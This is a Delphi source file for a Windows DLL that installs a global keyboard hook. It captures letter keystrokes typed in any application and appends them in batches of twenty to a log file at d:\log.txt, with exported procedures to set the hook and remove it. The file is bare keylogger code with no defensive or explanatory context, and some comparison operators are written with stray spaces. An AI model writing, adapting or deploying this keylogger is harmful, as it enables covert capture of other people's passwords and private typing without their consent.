library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
KeyArray: array[0..19] of char;
KeyArrayPtr: integer;
CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
if code< 0 then
begin
result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
Exit;
end;
if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
begin
KeyArray[KeyArrayPtr]:=char(wParam);
KeyArrayPtr:=KeyArrayPtr+1;
if KeyArrayPtr> 19 then
begin
for i:=0 to 19 do
begin
Assignfile(CurFile,'d:\log.txt');
if fileexists('d:\log.txt')=false then rewrite(CurFile)
else Append(CurFile);
write(Curfile, KeyArray[i]);
closefile(curfile);
end;
KeyArrayPtr:=0;
end;
end;
CallNextHookEx(CurrentHook,code,wParam,lparam);
result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
KeyArrayptr:=0;
end;
procedure unhook;
begin
UnhookWindowshookEx(CurrentHook);
end;
exports
SetupGlobalKeyBoardHook, UnHook;
begin
end.
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